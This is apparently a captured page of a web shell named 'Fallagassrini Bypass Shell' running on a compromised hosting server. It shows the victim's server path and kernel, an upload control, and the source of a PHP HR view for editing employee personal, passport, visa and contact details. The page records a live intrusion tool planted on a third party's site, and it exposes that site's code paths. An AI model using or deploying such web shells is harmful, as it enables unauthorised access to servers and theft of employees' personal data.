? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/views/hr/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/views/hr/edit_employee.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<div class="icons_main">
   <div  class="icons">
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('hr','viewinhrsearch','search_employee','view_employee','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating Employee Details</h4>
     </div>
</div>
<?php
    $department=$this->mastermodel->getdatas('department','department_id','asc','department_id');
    $designation=$this->mastermodel->getdatas('designation','designation_id','asc','designation_id');
    $grade=$this->mastermodel->getdatas('grade','grade_id','asc','grade_id');
    $emploee=$this->mastermodel->getdatas('employee','employee_id','asc','employee_id');
    $status=$this->mastermodel->getenumvalues('employee','employee_status');
    $attributes=array('id'=>'validateform','class'=>'validate');
    echo form_open('hr/addinhr/update_employee/view_employee/1',$attributes);
?>
<div class="grid_6">
    <div class="box">
            <div class="header main"> Personal Details </div>

            <div class="content no-padding">
                
                <div class="section _100">
                    <label> Employee name</label>
                    <div>
                        <input type="hidden" name="employee_id" id="employee_id" class="required"   value="<?=$viewinfo->employee_id?>">
                        <input name="employee_name" id="employee_name" class="required"   value="<?=$viewinfo->employee_name?>">
                    </div>

                </div>
                
                <div class="section _100">
                        <label>Employee NO</label>
                        <div class="single_page">
                             <input type="hidden" name="employee_no" value="<?=$viewinfo->employee_no?>"/>
                            <?=$viewinfo->employee_no?>
                        </div>
               </div>
                
                <div class="section _100">
                    <label>Gender</label>
                    <div>
                         <select name="employee_gender" id="employee_gender" class="required chzn-done"  >
                            <option value="">--Select--</option>
                                <option value="Male" <?php if($viewinfo->employee_gender=="Male"){echo "selected";}?>>Male</option>
                                <option value="Female" <?php if($viewinfo->employee_gender=="Female"){echo "selected";}?>>Female</option>
                         </select>
                    </div>
                </div>

                <div class="section _100">
                    <label>Date of Birth </label>
                    <div>
                        <input name="employee_dob" id="employee_dob" class="required" type="dateonly" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->employee_dob);?>">
                    </div>
                </div>
                
                <div class="section _100">
                    <label> Marital Status </label>
                     <div>
                         <select name="employee_marital_status" id="employee_marital_status" class="required chzn-done"  >
                            <option value="">--Select--</option>
                            <option value="Married" <?php if($viewinfo->employee_marital_status=="Married"){echo "selected";}?>>Married</option>
                            <option value="Single" <?php if($viewinfo->employee_marital_status=="Single"){echo "selected";}?>>Single</option>
                         </select>
                    </div>
                </div>

                <div class="section _100">
                    <label>Nationality</label>
                     <div>
                        <input name="employee_nationality" id="employee_nationality"   value="<?=$viewinfo->employee_nationality?>">
                     </div>
                </div>
                    
                <div class="section _100">
                    <label>Passport No</label>
                     <div>
                        <input name="employee_passport_no" id="employee_passport_no" class="required"   value="<?=$viewinfo->employee_passport_no?>">
                     </div>
                </div>
                
                <div class="section _100">
                <label>Passport Expiry Date</label>
                <div>
                    <input type="dateonly" name="passport_expiry_date" id="passport_expiry_date" class="required" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->passport_expiry_date)?>">
                </div>
             </div>    
            
            <div class="section _100">
                <label>Remind Before</label>
                <div>
                        <input name="passport_remind_before" id="passport_remind_before" value="<?=$viewinfo->passport_remind_before?>" type="text" class="required">
                </div>
            </div>
                
                <div class="section _100">
                    <label>Visa Type</label>
                     <div>
                        <input name="employee_visa_type" id="employee_visa_type" class="required"   value="<?=$viewinfo->employee_visa_type?>">
                    </div>
                </div>
                
                 <div class="section _100">
                    <label>Visa Expiry Date</label>
                    <div>
                        <input type="dateonly" name="employee_visa_expiry_date" id="employee_visa_expiry_date" class="required"   value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->employee_visa_expiry_date);?>">
                    </div>
                 </div>
                <div class="section _100">
                    <label>Remind Before</label>
                    <div>
                            <input name="visa_remind_before" id="visa_remind_before"  type="text" class="required" value="<?=$viewinfo->visa_remind_before?>">
                    </div>
                </div>
                <div class="section _100">
                    <label>Labor Card No:</label>
                     <div>
                        <input name="employee_labour_card_no" id="employee_labour_card_no" class="required"   value="<?=$viewinfo->employee_labour_card_no?>">
                    </div>
                </div>
                   
                <div class="section _100">
                    <label>Labor Card Expiry Date</label>
                    <div>
                        <input type="dateonly" name="employee_labour_card_expiry_date" id="employee_labour_card_expiry_date" class="required"   value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->employee_labour_card_expiry_date);?>">
                    </div>
                </div>
                <div class="section _100">
                    <label>Remind Before</label>
                    <div>
                            <input name="labor_card_remind_before" id="labor_card_remind_before"  type="text" class="required" value="<?=$viewinfo->labor_card_remind_before?>">
                    </div>
                </div>
                <div class="section _100">
                <label>Health Card No</label>
                <div>
                    <input type="text" name="employee_health_card_no" id="employee_health_card_no" class="required" value="<?=$viewinfo->employee_health_card_no?>">
                </div>
            </div>

            <div class="section _100">
                <label>Health Card Expiry Date</label>
                <div>
                    <input id="employee_health_card_no" type="dateonly" class="required" name="employee_health_card_expiry_date" value="<?=$viewinfo->employee_health_card_no?>">
                </div>
            </div>
            
            <div class="section _100">
                <label>Remind Before</label>
                <div>
                        <input name="health_card_remind_before" id="health_card_remind_before"  type="text" class="required" value="<?=$viewinfo->health_card_remind_before?>">
                </div>
            </div>
            <div class="section _100">
                <label>Vehicle No</label>
                <div>
                    <input type="text" name="employee_vehicle_no" id="employee_vehicle_no" class="required" value="<?=$viewinfo->employee_vehicle_no?>">
                </div>
            </div>

            <div class="section _100">
                <label>Expiry Date</label>
                <div>
                    <input id="employee_vehicle_expiry_date" type="dateonly" class="required" name="employee_vehicle_expiry_date" value="<?=$viewinfo->employee_vehicle_expiry_date?>">
                </div>
            </div>
            
            <div class="section _100">
                <label>Remind Before</label>
                <div>
                        <input name="vehicle_remind_before" id="vehicle_remind_before"  type="text" class="required" value="<?=$viewinfo->vehicle_remind_before?>">
                </div>
            </div>
            
                
            </div>

    </div>
</div>

<div class="grid_6">
    <div class="box">
        <div class="header main">Employee Details</div>
            <div class="content no-padding">
                <div class="section _100">
                    <label>Reporting To</label>
                    <div style="margin:10px 1px;">
                        <select name="employee_reporting_to" id="employee_reporting_to"  >
                        <option value="">Select</option>
                        <?php

                        foreach($emploee as $emp)
                        {
                          ?>
                           <option value="<?=$emp['employee_id']?>" <?php if($emp['employee_id']==$viewinfo->employee_reporting_to){ echo 'selected'; } ?>><?=$emp['employee_name']?></option>
                        <?php
                        }
                        ?>
                    </select>
                    </div>
                  </div>
                <div class="section _100">
                    <label>Designation</label>
                    <div>
                        <select name="employee_designation_id" id="employee_designation_id" class="required chzn-done"  >
                            <option value="">--Select--</option>
                            <?php
                                foreach($designation as $list)
                                {
                            ?>
                            <option value="<?=$list['designation_id'];?>"<?php if($list['designation_id']==$viewinfo->employee_designation_id){echo "selected";} ?>><?=$list['designation_name'];?></option>
                            <?php
                                }
                            ?>
                        </select>
                    </div>
                </div>

                <div class="section _100">
                    <label>Department</label>
                    <div>
                        <select name="employee_department_id" id="employee_department_id"  class="required chzn-done"  >
                            <option value="">--Select--</option>
                            <?php
                                foreach($department as $list)
                                {
                            ?>
                            <option value="<?=$list['department_id'];?>"<?php if($list['department_id']==$viewinfo->employee_department_id){echo "selected";} ?>><?=$list['department_name'];?></option>
                            <?php
                                }
                            ?>
                        </select>
                    </div>
                </div>

                <div class="section _100">
                    <label>Grade</label>
                    <div>
                        <select name="employee_grade_id" id="employee_grade_id" class="required chzn-done"  >
                            <option value="">--Select--</option>
                            <?php
                                foreach($grade as $list)
                                {
                            ?>
                            <option value="<?=$list['grade_id'];?>" <?php if($list['grade_id']==$viewinfo->employee_grade_id){echo "selected";} ?> ><?=$list['grade_name'];?></option>
                            <?php
                                }
                            ?>
                        </select>
                    </div>
                  </div>

                <div class="section _100">
                    <label>Status</label>
                    <div>
                         <select name="employee_status" id="employee_status" class="required chzn-done"  >
                            <option value="">--Select--</option>
                             <?php
                                if(count($status['val'])>0)
                                {
                                    foreach ($status['val'] as $method)
                                    {
                                        echo "<option value='".$method. "'";if($method==$viewinfo->employee_status){echo "selected";} echo ">" . $method . "</option>";
                                    }

                                }
                            ?>
                        </select>
                    </div>
                </div>
                    
                <div class="section _100">
                    <label>Joining Date</label>
                    <div>
                        <input type="dateonly" name="employee_joining_date" id="employee_joining_date" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->employee_joining_date)?>">
                    </div>
                </div>
                <div class="section _100">
                    <label>Watchman</label>
                    <div style="margin:10px 1px;">
                        <input name="employee_watchman" id="employee_watchman" type="checkbox" value="<?=$viewinfo->employee_watchman;?>" <?php if($viewinfo->employee_watchman==1){echo "checked";}?> />
                    </div>
                    <label>Supervisor</label>
                    <div style="margin:10px 1px;">
                        <input name="employee_supervisor" id="employee_supervisor"  type="checkbox" value="<?=$viewinfo->employee_supervisor;?>" <?php if($viewinfo->employee_supervisor==1){echo "checked";}?>/>
                    </div>
              </div>
            </div>
        </div>
    </div>


<div class="grid_6">
        <div class="box">
            <div class="header main">Address Details</div>
            <div class="content no-padding">


                      <div class="section _100">
                    <label>Contact No:</label>
                    <div>
                            <input name="employee_contact_no" id="employee_contact_no" class="required"   value="<?=$viewinfo->employee_contact_no?>">
                    </div>
                      </div>
                      <div class="section _100">
                    <label>Email ID:</label>
                     <div>
                            <input name="employee_email" id="employee_email" class="email"   value="<?=$viewinfo->employee_email?>">
                    </div>

                      </div>
                <div class="section _100">
                    <label>Local Address:</label>
                     <div>
                            <textarea name="employee_local_address" id="employee_local_address"><?=$viewinfo->employee_local_address?></textarea>
                    </div>
                </div>



                <div class="section _100">
                    <label>Permanent Address:</label>
                     <div>
                            <textarea name="employee_permanent_address" id="employee_permanent_address"><?=$viewinfo->employee_permanent_address?></textarea>
                    </div>
                </div>


                 </div>

                   </div>
            </div>

<div class="grid_12">
    <div class="box">
        <div class="content no-padding"> 
            <div class="header main">  Professional Experience</div>
                <table class="table">
                   <tr>
                        <th>Employer</th>
                        <th>Designation</th>
                        <th>Period</th>
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php
                    $i=1;
                    $professional=$this->mastermodel->get_data('employee_professional_experience',$viewinfo->employee_id,'employee_id');
                    foreach($professional as $list)
                    {
                    ?>
                    <tr>
                        <td><input class="w_90" value="<?=$list['employer'];?>" type="text" name="employer<?=$i;?>" id="employer<?=$i;?>"/></td>
                        <td><input class="w_90" value="<?=$list['designation'];?>" type="text" name="designation<?=$i;?>" id="designation<?=$i;?>"/></td>
                        <td>
                            <input class="w_90" value="<?=$list['period'];?>" type="text" name="period"<?=$i;?> id="period<?=$i;?>"/>
                        </td>
                        <td>
                        <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                    <?php
                    $i++;
                    }
                    ?>
                    <tr>
                        <td><input class="w_90" type="text" name="employer" id="employer"/></td>
                        <td><input class="w_90" type="text" name="designation" id="designation"/></td>
                        <td>
                            <input class="w_90" type="text" name="period" id="period"/>
                        </td>
                        <td>
                        <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
            </div>
        </div> 
</div>

    <div class="grid_12">
        <div class="box">
            <div class="content no-padding"> 
            <div class="header main">  Educational Qualification</div>
                <table class="table">
                   <tr>
                        <th>Course</th>
                        <th>University</th>
                        <th>Year of Passing</th>
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php
                    $i=1;
                    $professional=$this->mastermodel->get_data('employee_educational_qualification',$viewinfo->employee_id,'employee_id');
                    foreach($professional as $list)
                    {
                    ?>
                    <tr>
                        <td><input class="w_90" value="<?=$list['course'];?>" type="text" name="course<?=$i;?>" id="course<?=$i;?>"/></td>
                        <td><input class="w_90" value="<?=$list['university'];?>" type="text" name="university<?=$i;?>" id="university<?=$i;?>"/></td>
                        <td>
                            <input class="w_90" value="<?=$list['yearofpassing'];?>" type="text" name="yearofpassing"<?=$i;?> id="yearofpassing<?=$i;?>"/>
                        </td>
                        <td>
                        <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                    <?php
                    $i++;
                    }
                    ?>
                    <tr>
                        <td><input class="w_90" type="text" name="course" id="course"/></td>
                        <td><input class="w_90" type="text" name="university" id="university"/></td>
                        <td>
                            <input class="w_90" type="text" name="yearofpassing" id="yearofpassing"/>
                        </td>
                        <td>
                        <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
            </div>
        </div>
    </div> 

    <div class="grid_12">
        <div class="box">
            <div class="content no-padding"> 
            <div class="header main">Additional Certification</div>
                <table class="table">
                   <tr>
                        <th>Course</th>
                        <th>Institute</th>
                        <th>Year of Passing</th>
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                     <?php
                    $i=1;
                    $professional=$this->mastermodel->get_data('employee_additional_certification',$viewinfo->employee_id,'employee_id');
                    foreach($professional as $list)
                    {
                    ?>
                    <tr>
                        <td><input class="w_90" value="<?=$list['course'];?>" type="text" name="additional_course<?=$i;?>" id="additional_course<?=$i;?>"/></td>
                        <td><input class="w_90" value="<?=$list['institute'];?>" type="text" name="additional_institute<?=$i;?>" id="additional_institute<?=$i;?>"/></td>
                        <td>
                            <input class="w_90" value="<?=$list['yearofpassing'];?>" type="text" name="additional_yearofpassing<?=$i;?>" id="additional_yearofpassing<?=$i;?>"/>
                        </td>
                        <td>
                        <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                    <?php
                    $i++;
                    }
                    ?>
                    <tr>
                        <td><input class="w_90" type="text" name="additional_course" id="additional_course"/></td>
                        <td><input class="w_90" type="text" name="additional_institute" id="additional_institute"/></td>
                        <td>
                            <input class="w_90" type="text" name="additional_yearofpassing" id="additional_yearofpassing"/>
                        </td>
                        <td>
                        <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
            </div>
        </div> 
    </div>
<div class="grid_12">
    <div class="box">
        <div class="actions">
                 <div class="actions-left">
                 </div>
                    <div class="actions-right">
                            <button style="margin-left: 130px;" type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Update</button>
                    </div>
        </div>
    </div>
</div>

<?php echo form_close();?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net